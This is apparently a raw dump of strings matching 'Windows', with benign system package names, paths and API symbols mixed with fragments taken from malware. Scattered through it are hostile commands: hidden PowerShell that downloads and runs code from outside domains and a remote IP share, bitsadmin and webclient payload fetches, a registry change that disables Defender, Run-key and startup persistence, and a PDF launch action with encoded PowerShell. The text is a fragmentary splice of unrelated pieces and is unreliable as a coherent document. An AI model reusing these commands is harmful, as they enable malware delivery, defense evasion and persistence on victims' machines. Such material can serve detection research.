Microsoft-Windows-Client-Desktop-Required-Package011320~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
="c:\windows\temp\
Windows
Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
GetSystemWindowsDirectoryW
Windows.Data.WiFi.WiFiProfile
Windows.Data.AppSettings.Info
Windows.Data.Calling.Settings
Windows.Data.Input.FileData
Metrics.Graphics.WindowsColorSystem
lf@po:i+00/c:\b1maliciouslyh.maliciouslyz2undercuttestator.jsx.undercuttestator.js"+..\..\..\..\maliciously\undercuttestator.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
\windows\(
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Ftools.capability.guest_temp_directory 1 C:\WINDOWS\TEMP\vmware-SYSTEM
windows11-64
Windows 11 Pro, 64-bit (Build 26200.7840)
architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
SetGuestInfo  1 Windows11
	Windows11
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
defadd_windows_defender_exception(filepath:str)
newactivexobject("windowsinstaller.installer")
WINDOWS11
WINDOWS11
    name="Microsoft-Windows-Core-Fundamentals-ClientPerformance-XPerfCore"
            name="Microsoft.Windows.Common-Controls"
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Desktop-BCDTemplate-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-RemoteAssistance-Package-Client~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-Security-SPP-Component-SKU-IoTEnterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-SimpleTCP-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-WOWSupport-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
[^\]+\appdata\roaming\microsoft\windows\start menu\programs\startup
[^\]+\appdata\local\packages\microsoft.office.desktop_8wekyb3d8bbwe\localcache\roaming\microsoft\windows\start menu\programs\startup
[^\]+\appdata\local\microsoft\windows\inetcache\ie\
[^\]+\appdata\local\microsoft\windows\temporary internet files\content.ie5\
[^\]+\appdata\local\microsoft\windows\inetcache1\temporary internet files\ie\
:software\microsoft\windows\currentversion\runonceex
policies\microsoft\windowsdefender"/v"disableantispyware"/d1/treg_dword/f
\windows\system32\.+
C:\WINDOWS\SYSTEM32\QOSNAME.DLL> 
eC:\WINDOWS\SYSTEM32\UTILDLL.DLL> 
][system.windows.
windows\system32\conhost.exe--headlesspower
"c:\windows\system32\calc
zdimwshellsetwshell=createobject("wscript.shell")mygroupwshell.specialfolders("allusersdesktop")mygroupwshell.specialfolders("allusersstartmenu")mygroupwshell.specialfolders("allusersprograms")mygroupwshell.specialfolders("favorites")mygroupwshell.specialfolders("favorites")&"\"mygroupwshell.specialfolders("allusersdesktop")mygroupwshell.specialfolders("appdata")&"\microsoft\internetexplorer\quicklaunch"taobaowshell.specialfolders("favorites")&"\"mshelllnk"","c:\programfiles\winrar\ico\36.ico","c:\windows\","http://%67%6f%E
/c SCHTASKS.exe /Delete /TN "Windows Update BETA" /F/
Media@Xaml@UI@Windows@winrt@@AEBUdynamic@folly@@@Z
?StartTransformAnimation@FrameworkElementViewManager@ReactNative@Microsoft@@QEAAXUUIElement@Xaml@UI@Windows@winrt@@UCompositionPropertySet@Composition@678@@Z
?TransferProperties@ControlViewManager@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@0@Z
?TransferProperties@FrameworkElementViewManager@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@0@Z
?TransferProperties@ViewManagerBase@ReactNative@Microsoft@@UEAAXAEBUDependencyObject@Xaml@UI@Windows@winrt@@0@Z
?VerticalAlignmentFrom@ReactNative@Microsoft@@YA?AW4VerticalAlignment@Xaml@UI@Windows@winrt@@AEBUdynamic@folly@@@Z
isWindowsActivationStateEnabled
instrumentShownToNonActWindows
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.apps.unpackagedproducts|windows.data.apps.unpackagedproducts
windows.data.apps.unpackagedproductsdefault$windows.data.apps.unpackagedproductsi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.apps.packagedproducts|windows.data.apps.packagedproducts
windows.data.apps.packagedproductsdefault$windows.data.apps.packagedproductsi
c:\Windows\system32\en-US\iscsiexes.dll.mui
c:\windows\system32\XblAuthManagers.dll.mui
\windows defender\msmpeng.exe
WindowsPowerShell
WindowsPowerShell
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
P~Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
P~Microsoft.WindowsCamera_8wekyb3d8bbwe!App
P~Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
P~Microsoft.WindowsStore_8wekyb3d8bbwe!App
W~Microsoft.Windows.AdministrativeTools
W~Microsoft.Windows.ControlPanel
W~Microsoft.Windows.Explorer
W~Microsoft.Windows.MediaPlayer32
WINDOWS;C:\WIN
\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
%ProgramFiles%\Windows
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
0join-path$env:appdata'microsoft\windows\startmenu\programs\startup';if(-not(test-path$vtgohpo)){new-item-itemtypedirectory-path$vtgohpo|out-null}
powershell-windowstylehidden-executionpolicybypass-noprofile-command"iex((new-objectnet.webclient).downloadstring('https://mirelyww.com/rruioqys
="c:\windows\temp\jasminebranch.bat"
Windows Core System
build\release-x64\tools-for-windows\Win32\services\rvmSetup\rvmSetup.pdb
.P6A?AU?$IAsyncOperation@_N@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@UJsonObject@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UNavigable@WebExperienceHost@3@@Z
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UNavigable@WebExperienceHost@3@UPropertySet@Collections@123@V?$function@$$A6AXULauncherNavigationCompletedEventArgs@WebExperienceHost@winrt@@@Z@std@@@Z
.P6A?AUPropertySet@Collections@Foundation@Windows@winrt@@XZ
Microsoft.Windows.CBSPreview
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
d$"dWINDOWS\system32\BRemotes.exeuser.qzone.qq.comSOFTWARE\Microsoft\Windows\CurrentVersion\Run /v BATCOMLockServiceDatabase
additionalinformation1j/cneedchanges\newinformation.cmdabcdefghijklmnopqrstuvwxyz0123456789c:\windows\system32\shell32.dllc:
software\microsoft\windows\currentversion\runz/vz/treg_szz/dzwscript.exe"r/ftr)rurhtimesleeprrr)rrcommandsradd_to_startuprs
c:\windows\system32\conhost.exe--headlesspowershell.exe-executionpolicybypass-file"\\83.217.208.90\documents\pwsh\osnova.ps1"
c:\windows\system32\cmd.exe/c@echooff&&titleupdate&&bitsadmin/transfermdj/download/priorityforegroundhttps://mydoc.ngrok.pro/
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
WindowsSubstringWithSpecifiedLength
WindowsDuplicateString
WindowsCreateStringReference
\windows\syswow64\msiexec.exe"
Qonecoreuap\shell\windows.storage.search\resultsetfactory.cpp
onecoreuap\shell\windows.storage.search\dbfolder.cpp
!#SCPT:WindowsSandboxConfig.E
!#SCPT:WindowsSandboxConfig.F
!#SCPT:WindowsSandboxConfig.I
\\Windows\\UUS\\
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
functionget-proxy{get-itemproperty-path"registry::hkcu\software\microsoft\windows\currentversion\internetsettings"}
2^windows.fileTypeAssociation
5^windows.protocolf
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/8"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/8"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop6="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
Microsoft.Windows.AI.Gener
Microsoft.Windows.AppNotifications.Builder
Microsoft.Windows.Wil.FeatureLogging
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident3
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari7
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident3
.?AU?$__abi_FunctorCapture@V<lambda_6921627cb267d78bd92f6c162ef07abf>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
fC:\WINDOWS\sysWOW64\wbem\wmiprvse.exe
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
WindowsFeedbackHubIntegration
\windows\system32\cmd.exe/cstart_&_\devicemanager.exe&exit
prompt={'messages':[{'role':'windowssystemsadministrator'
@\windows\system32\
Microsoft-Windows-Fat-SQM
Microsoft-Windows-Fault-Tolerant-Heap
Microsoft-Windows-FilterManager
Microsoft-Windows-Firewa
Microsoft-Windows-Kernel-XDV
Microsoft-Windows-LanguagePackSetup
Microsoft-Windows-Memory-Diagnostic-Task-Handler
Microsoft-Windows-MemoryDiagnostics-Results
Microsoft-Windows-MemoryDiagnostics-Schedule
Microsoft-Windows-MountMgr
Microsoft-Windows-NDIS
Microsoft-Windows-NdisImPlatformSysEvtProvider
Microsoft-Windows-Network-ExecutionContext
Microsoft-Windows-NetworkBridge
Microsoft-Windows-NetworkProvider
Microsoft-Windows-Ntfs
Microsoft-Windows-Ntfs-UBPM
Microsoft-Windows-OfflineFiles
Microsoft-Windows-OverlayFilter
Microsoft-Windows-PCRPF
Microsoft-Windows-PersistentMemory-Nvdimm
Microsoft-Windows-PersistentMemory-PmemDisk
Microsoft-Windows-Power-Meter-Polling
Microsoft-Windows-Power-Troubleshooter
Microsoft-Windows-ReFS
Microsoft-Windows-ReFS-v1
Microsoft-Windows-ResetEng
Microsoft-Windows-Resource-Exhaustion-Detector
Microsoft-Windows-ResourcePublication
Microsoft-Windows-SCPNP
Microsoft-Windows-Serial-ClassExtension
Microsoft-Windows-Serial-ClassExtension-V2
Microsoft-Windows-Servicing
Microsoft-Windows-Setup
Microsoft-Windows-SetupPlatform
Microsoft-Windows-SPB-ClassExtension
Microsoft-Windows-SPB-HIDI2C
soft-Windows-SpellChecker
Microsoft-Windows-StartupRepair
Microsoft-Windows-Subsys-SMSS
Microsoft-Windows-TaskScheduler
Microsoft-Windows-TerminalServices-LocalSessionManager
Microsoft-Windows-TerminalServices-RemoteConnectionManager
Microsoft-Windows-Time-Service
Microsoft-Windows-TPM-WMI
Microsoft-Windows-USB-CCID
Microsoft-Windows-USB-MAUSBHOST
Microsoft-Windows-USB-USB4DeviceRouter-EventLogs
Microsoft-Windows-USB-USBHUB3
Microsoft-Windows-USB-USBXHCI
Microsoft-Windows-UserModePowerService
Microsoft-Windows-UserPnp
Microsoft-Windows-WER-SystemErrorReporting
Microsoft-Windows-WHEA-Logger
Microsoft-Windows-Windows Firewall With Advanced Security
Microsoft-Windows-WindowsToGo-StartupOptions
Microsoft-Windows-WindowsUpdateClient
Microsoft-Windows-Wininit
Microsoft-Windows-Winlogon
Microsoft-Windows-WinREAgent
Microsoft-Windows-WLAN-AutoConfig
Microsoft-Windows-WMPNSS-Service
Microsoft-Windows-ZTDNS
Microsoft-Windows-ZTHELPER
Windows Disk Diagnostic
Windows Script Host
SnapWindows
9d^com.microsoft.windows.extensions.xaml.featurediscoverability
a1^com.microsoft.windows.app.textinput
setEligibileWindowsActivation
144^com.microsoft.windows.app.startmenu.searchboxinstart
com.microsoft.windows.app.startmenu.searchboxinstart
145^com.microsoft.windows.extension.startmenu.searchboxinstart
com.microsoft.windows.extension.startmenu.searchboxinstart
146^com.microsoft.windows.extension.windowservice.startmenu
com.microsoft.windows.extension.windowservice.startmenu
            name="Microsoft.Windows.SystemCompatible"
Eutionpolicybypass-windowstylehidden-command(new-objectnet.webclient).downloadfile(\"#
?;c:\windows\system32\imageres.dll%systemroot%\
client.wns.windows.com
client.wns.windows.com
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe
$link='http://servidorwindows.ddns.com.br/files/vbs.jpeg';$webclient=new-objectsystem.net.webclient;
$patch="c:\windows\rmcna"$dirs="cd"$site2="
":ftp_filesdel"c:\windows\rmcna\cdsftp.cmd"
yregadd"hkcu\software\microsoft\windows\currentversion\run"/v"%
7\windows\system32\cmd.exe/cstart
xplore.vbs&copy%windir%\system32\cmd.exe,
/openaction<</s/launch/win<</f(c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe)/p(powershell.exe-encodedcommand
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows Defender
Jshellcommon\undockeddevkit\libs\windowsudk.system.update\windowsupdateiconindicator.cpp
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\accountswitcheraction.cpp
c:\windows\system32\conhost.exeforfiles
cmd.exe%systemroot%\system32
.exe-windowstylehidden
Path=C:\WINDOWS\system32;
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Vforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
Microsoft.Windows.Print.SplLib
<schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:bidi="http://schemas.microsoft.com/windows/2005/03/printing/bidi" targetNamespace="http://schemas.microsoft.com/windows/2005/03/printing/bidi">
bWindows\ CurrentVersion\Explorer\Browser Helper Objects\{5074851C-F67A-488E-A9C9-C244573F4068}
;C:\WINDOWS\Sy
WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\W;c
bonecoreuap\windows\frameworkudk\mediacaptureextension.cpp
onecoreuap\windows\frameworkudk\mediaplaybacklistextension.cpp
onecoreuap\windows\frameworkudk\mediaplaybacksessionextension.cpp
6onecoreuap\windows\frameworkudk\mediaplayerextension.cpp
onecoreuap\windows\frameworkudk\mfmediaengineextension.cpp
onecoreuap\windows\frameworkudk\platformfunctions.cpp
onecoreuap\windows\frameworkudk\inc\internal\batchquery.h
onecoreuap\windows\frameworkudk\inc\internal\activationconfiguration.h
onecoreuap\windows\frameworkudk\inc\internal\inputsiteadapter.h
onecoreuap\windows\frameworkudk\timedmetadatatrackextension.cpp
onecoreuap\windows\frameworkudk\uupstaterepository.cpp
onecoreuap\windows\frameworkudk\windowing.cpp
onecoreuap\windows\frameworkudk\frameworkinputview.cpp
onecoreuap\windows\frameworkudk\mrtcore.cpp
onecoreuap\windows\frameworkudk\powernotificationspal.cpp
onecoreuap\windows\frameworkudk\inc\helpers\NotificationHelpers.h
onecoreuap\windows\frameworkudk\pushnotifications.cpp
"WindowsTelemetry"n
WindowsCreateString
Microsoft.Windows.
Microsoft.Windows.
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_J
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_B
OutlookForWindows.
ert Windows-Passwuert an, fir dat ze erlaben.copilotupdateMicrosoft Copilot Updater-ServiceInterne Microsoft Copilot Updater-ServiceH
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAlAVH
142^com.microsoft.windows.app.startmenu
com.microsoft.windows.app.startmenu
143^com.microsoft.windows.extension.startmenu
com.microsoft.windows.extension.startmenu
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\AnonymousId.h
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\usersetupeligibilitydatahelper.cpp
Microsoft.Windows.Devices.Lights.Backl
windows.data.input.text.roamingdictionary
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperience
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputApp
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
GetWindowsDirectoryW
c:\windows\system32\cmdial32.dll
c:\windows\system32\svchost.exe
c:\windows\system32\iesetup.dll
Windowsh
Microsoft-Windows-CoreSystem-GenericDrivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
onecore\windows\accessibletech\uiautomationcore\cproxyfactoryentry.cpp
onecore\windows\accessibletech\uiautomationcore\remoteuianodestub.cpp
onecore\windows\accessibletech\uiautomationcore\ccacherequest.cpp
onecore\windows\accessibletech\uiautomationcore\hookbasedserverconnection.cpp
onecore\windows\accessibletech\uiautomationcore\proxies\msaaproxyeventmanager.cpp
Software\Microsoft\Windows\CurrentVersion\Uninstall\UninfringedS
get_ToolWindowStripGapTop
WindowsRuntime 1.4
 @default$windows.data.donotdisturb.quiethourssettings
 @default$windows.data.donotdisturb.quiethourssettings
Microsoft.Windows.Health.TestInProduction
Shows Desktop.lnk=@%SystemRoot%\system32\shell32.dll,-10113
Window Switcher.lnk=@%SystemRoot%\system32\shell32.dll,-10114
FMicrosoft.Windows.Widgets.Feeds.Providers.IFeedResourceResponseFactory
(Microsoft.Windows.Widgets.WidgetContract
LMicrosoft.Windows.Widgets.Feeds.Providers.CustomQueryParametersRequestedArgs
LMicrosoft.Windows.Widgets.Feeds.Providers.CustomQueryParametersUpdateOptions
GMicrosoft.Windows.Widgets.Feeds.Providers.FeedAnalyticsInfoReportedArgs
:Microsoft.Windows.Widgets.Feeds.Providers.FeedDisabledArgs
9Microsoft.Windows.Widgets.Feeds.Providers.FeedEnabledArgs
CMicrosoft.Windows.Widgets.Feeds.Providers.FeedErrorInfoReportedArgs
5Microsoft.Windows.Widgets.Feeds.Providers.FeedManager
AMicrosoft.Windows.Widgets.Feeds.Providers.FeedMessageReceivedArgs
BMicrosoft.Windows.Widgets.Feeds.Providers.FeedProviderDisabledArgs
AMicrosoft.Windows.Widgets.Feeds.Providers.FeedProviderEnabledArgs
:Microsoft.Windows.Widgets.Feeds.Providers.FeedProviderInfo
=Microsoft.Windows.Widgets.Feeds.Providers.FeedResourceRequest
CMicrosoft.Windows.Widgets.Feeds.Providers.FeedResourceRequestedArgs
>Microsoft.Windows.Widgets.Feeds.Providers.FeedResourceResponse
@Microsoft.Windows.Widgets.Notifications.IFeedAnnouncementFactory
(Microsoft.Windows.Widgets.WidgetContract
8Microsoft.Windows.Widgets.Notifications.FeedAnnouncement
CMicrosoft.Windows.Widgets.Notifications.FeedAnnouncementInvokedArgs
(Microsoft.Windows.Widgets.WidgetContract
;Microsoft.Windows.Widgets.Providers.WidgetActionInvokedArgs
CMicrosoft.Windows.Widgets.Providers.WidgetAnalyticsInfoReportedArgs
(Microsoft.Windows.Widgets.WidgetContract
1Microsoft.Windows.Widgets.Providers.WidgetContext
<Microsoft.Windows.Widgets.Providers.WidgetContextChangedArgs
DMicrosoft.Windows.Widgets.Providers.WidgetCustomizationRequestedArgs
?Microsoft.Windows.Widgets.Providers.WidgetErrorInfoReportedArgs
.Microsoft.Windows.Widgets.Providers.WidgetInfo
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
1Microsoft.Windows.Widgets.Providers.WidgetManager
=Microsoft.Windows.Widgets.Providers.WidgetMessageReceivedArgs
9Microsoft.Windows.Widgets.Providers.WidgetResourceRequest
?Microsoft.Windows.Widgets.Providers.WidgetResourceRequestedArgs
:Microsoft.Windows.Widgets.Providers.WidgetResourceResponse
>Microsoft.Windows.Widgets.Providers.WidgetUpdateRequestOptions
9Microsoft.Windows.Widgets.Providers.IWidgetManagerStatics
(Microsoft.Windows.Widgets.WidgetContract
BMicrosoft.Windows.Widgets.Providers.IWidgetResourceResponseFactory
(Microsoft.Windows.Widgets.WidgetContract
FMicrosoft.Windows.Widgets.Providers.IWidgetUpdateRequestOptionsFactory
(Microsoft.Windows.Widgets.WidgetContract
FMicrosoft.Windows.Widgets.Providers.IWidgetUpdateRequestOptionsStatics
(Microsoft.Windows.Widgets.WidgetContract
Windows.Internal.PlatformExtensions.UriExperienceLauncher
Windows.Internal.PlatformExtensions.UserActivitySource
Windows.Internal.PlatformExtensions.UserDataAccountsExperience
Windows.Internal.PlatformExtensions.WindowTabManagerContract
Windows.Internal.ShareExperience
Windows.Internal.Shell.CapturePickerItemDataSource
Windows.Internal.Shell.CredUX
/MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog
'MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntim
1MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Commonr
OiWxegoExxeglTvsgiwwOiMrmxmepmdiEtg\DosDevices\ibtpsviv.ibimsdn32.tlfqwhr76.xpjrxovrpte.ibi\system32OiYrwxegoHif
u00ebb3b3-dead-4440-b1f8-b09dddb89ef3exitwindowsexkav2injectdnsmaskpostdel
rShield_MpIsWindowsLockdownMode
?get@Bottom@Rect@Foundation@Windows@@QEAAMXZ
?get@Right@Rect@Foundation@Windows@@QEAAMXZ
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
microsoft.management.services.intunewindowsag
IE 11 fix - Starting fix & OptimizeEnablePlugin is trueWrote IE Auto Enable IgnoreFrameApprovalCheckSoftware\Microsoft\Windows\CurrentVersion\Policies\ExtSoftware\Microsoft\Internet Explorer\ApprovedExtensionsMigration
onecore\windows\accessibletech\uiautomationcore\proxies\richeditobjectmap.cpp
onecore\windows\accessibletech\common\basicmessagebuilderparser.cpp
onecore\windows\accessibletech\common\sharedblock.cpp
onecore\windows\accessibletech\common\Result.h
D:\os\obj\amd64fre\onecore\windows\accessibletech\vcpkg\objfre\amd64\vcpkg_buildtrees\protobuf\src\v3.21.6-7b86a97fdc.clean\src\google\protobuf\message_lite.cc
